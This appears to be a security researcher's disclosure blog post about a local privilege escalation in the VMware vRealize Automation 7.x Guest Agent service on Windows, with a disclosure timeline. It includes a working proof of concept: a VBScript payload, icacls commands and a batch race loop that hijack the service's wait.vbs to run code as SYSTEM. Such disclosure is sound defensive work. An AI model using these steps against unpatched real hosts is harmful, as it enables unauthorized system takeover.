Introduction and Impact
This blog post will describe a local privilege escalation vulnerability in the default configuration of the VMware vRealize Automation (vRA) Guest Agent service on Windows hosts. This technique is mapped to MITRE ATT&CK under Hijack Execution Flow: Services File Permissions Weakness (T1574.010). Any low privilege user can abuse the service’s default working directory permissions and get high integrity code execution due to an insecure timeout implementation used by VCACGuestAgentService.
Products Affected
This affects any hosts which had the VCACGuestAgentService installed from the installation script provided by vRA 7.X versions up to 7.6 P18 (Patch 18). The 8.x line was completely re-architected so that guest agents are no longer used. The vulnerability was acknowledged by VMware and fixed in 7.6 P19 (Patch 19). No CVE was issued regarding this vulnerability.
Background
With version 6.2 of vCloud Automation Center (vCAC), the product was renamed to vRealize Automation (vRA). However, you will find the name vCAC all across the API and indeed it also shows up in this affected Windows service name VCACGuestAgentService. vCAC/vRA is one solution in the vRealize Suite, and provides a hybrid cloud infrastructure automation platform. It is designed for large enterprise environments that are managing private cloud catalogs, and current licenses appear to start around $10k.
To facilitate infrastructure deployment and endpoint configuration, “guest agents” are required to perform post-provisioning tasks inside a Windows or Linux guest operating system as a part of the vRealize Automation provisioning process. The guest agents execute after the vSphere customization specifications stage (if provided) to perform additional configuration tasks against the machine.
There are three built-in features of the guest agent that are commonly used:
- Create partition, mount drives, and format additional disks
- Configure additional network interfaces
- Execute ad-hoc scripts within the guest to install applications or to perform additional configurations
Guest agents allow customizations to be performed after the operating system has been deployed. Most importantly, the agents can signal back to the vRA controller that the VM provisioning has completed.
Vulnerability Discovery
On a penetration test engagement, a client was using vRA to manage and deploy infrastructure/resources in a large multi-tenancy enterprise environment. After gaining access to a Windows host in the environment, I conducted local service enumeration and discovered the actively running vRA Guest Agent service running as VCACGuestAgentService, whose service binary path was C:\VRMGuestAgent\WinService.exe, running in the context of NT AUTHORITY\SYSTEM. Looking at the process tree, I found it interesting that this parent process had child processes consisting of cmd.exe and wscript.exe:
I investigated other service-related files in the C:\VRMGuestAgent directory and discovered the source of the child process creation in the C:\VRMGuestAgent\doagentsvc.bat batch script file. The script contains a looping “repeat” block to launch a helper guest agent executable image, DynamicOps.Agent.Guest.exe, and then sleeps for 30 seconds. The script insecurely implements the sleep timeout by creating and writing a VBscript sleep command to the file wait.vbs and then executing that file with the Windows Script Host, wscript.exe:
<<snip>>
:repeat
echo "repeat"
echo waiting 30 seconds
echo wscript.sleep 30000 > wait.vbs
wscript.exe wait.vbs
del wait.vbs
c:\VRMGuestAgent\DynamicOps.Agent.Guest.exe %NAME_OPTION%
/host=<<REDACTED>>:443 /ssl
/config=c:\VRMGuestAgent\gugent.properties
/script=c:\VRMGuestAgent\site
if errorlevel 0 goto repeat
if not exist "c:\VRMGuestAgent\site\workitem.xml"
goto repeat
popd
echo "finally"
<<snip>>
I monitored the C:\VRMGuestAgent directory and verified that a temporary wait.vbs file was being created roughly every 30 seconds. Then, I checked the Access Control Entries (ACEs) assigned on the directory and confirmed that all users in the BUILTIN\USERS group have inherited WD (Write Data) permissions on this service’s working directory:
Local Privilege Escalation
Therefore, local privilege escalation is possible due to the following:
- The doagentsvc.bat script is logically executing wscript.exe C:\VRMGuestAgent\wait.vbs with NT AUTHORITY\SYSTEM context
- The BUILTIN\Users group has write permissions on the C:\VRMGuestAgent\ service file directory
- There is a known period of time where theC:\VRMGuestAgent\wait.vbs file does not exist
These three things allow any user to create a malicious wait.vbs VBScript file and force the service to execute the malicious file instead. This is possible due to the insecure sleep timeout implementation.
After further research, I discovered that the doagentsvc.bat and service directories are created in this insecure configuration by default during installation from VMware’s supplied guest agent PowerShell installer script. This can be downloaded from an active vRealize Automation server, but you can also play with a trial vRA instance in VMware vRealize Automation 7 Hands On Lab.
Proof of Concept
I created a sample PoC VBScript to prove high integrity code execution context by writing whoami output to C:\out.txt. So first, a low privilege user creates a file named test.vbs with the following content:
Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd.exe /C whoami > C:\out.txt"
The ACEs of our version must be modified in order to force the high integrity process to execute our own version and prevent it from simply overwriting. This can be done with icacls. So we craft the ACEs on this test.vbs to give NT AUTHORITY\SYSTEM only Read/Execute, your low privilege user Full, and finally remove inheritance:
icacls test.vbs /grant "NT AUTHORITY\SYSTEM":(RX)
icacls test.vbs /grant lowprivuser:(F)
icacls test.vbs /inheritance:r
The staged test.vbs file should now simply have the following icacls output:
Next, we must create a temporary batch file (runtest.bat) to beat the race condition in taking over the wait.vbs file (by renaming) during the temporary time period where it has been deleted but has not been created again. Renaming the file will keep our previously crafted ACEs. A sample runtest.bat looks like this:
:LOOP
rename test.vbs wait.vbs
IF ERRORLEVEL 1 GOTO LOOP
ECHO rename was successful
PAUSE
EXIT
At this point, the low privilege user simply runs the runtest.bat file and waits until they get a successful rename to wait.vbs. This malicious wait.vbs will then be executed during the next repeat loop in the continually running doagentsvc.bat.
With the PoC whoami command execution, you can verify successful hijack and execution as NT AUTHORITY\SYSTEM in the output file C:\out.txt:
Disclosure Timeline
As committed as SpecterOps is to transparency, we acknowledge the speed at which attackers adopt new offensive techniques once they are made public. This is why prior to publicization of a new bug or offensive technique, we regularly inform the respective vendor of the issue, supply ample time to mitigate the issue, and notify select, trusted vendors in order to ensure that detections can be delivered to their customers as quickly as possible.
- 8/14/2020: Initial report disclosed to VMware Security
- 8/15/2020: Submission acknowledged, investigation opened
- 9/18/2020: VMware acknowledges vulnerability reproduced in the 7.x release line
- 10/15/2020: vRA team has committed to releasing a fix for this issue
- 12/19/2020: Patch version 19 released which marks this issue as resolved: See https://kb.vmware.com/s/article/70911 and vRA76-P19-ResolvedList
- 1/12/2021: Blog post published
References
- VMware vRealize Automation, https://docs.vmware.com/en/vRealize-Automation
- Learning VMware vRealize Automation, Sriram Rajendran, Packt Publishing 2016
Local Privilege Escalation in VMware vRealize Automation (vRA) Guest Agent Service was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.